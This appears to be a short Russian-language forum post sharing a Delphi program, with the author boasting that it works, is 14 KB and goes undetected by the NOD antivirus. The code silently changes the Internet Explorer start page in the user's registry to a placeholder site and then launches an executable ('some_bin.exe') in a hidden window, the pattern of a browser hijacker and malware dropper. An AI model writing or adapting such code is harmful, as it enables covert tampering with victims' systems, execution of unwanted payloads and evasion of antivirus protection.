Вот: Работает, весит 14 кб, нодом не палица =)

program Project1;

{$R run.res}
uses
Windows;

var
Reg : HKEY;
begin
RegCreateKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\Main', Reg);
RegSetValueEx(Reg, PChar('Start Page') ,0 ,REG_SZ ,PChar('http://www.somesite.ru'), Length('http://www.somesite.ru') + 1);
RegCloseKey(Reg);
winexec('some_bin.exe',0);
end.

__________________

Завтра будет.Лучше.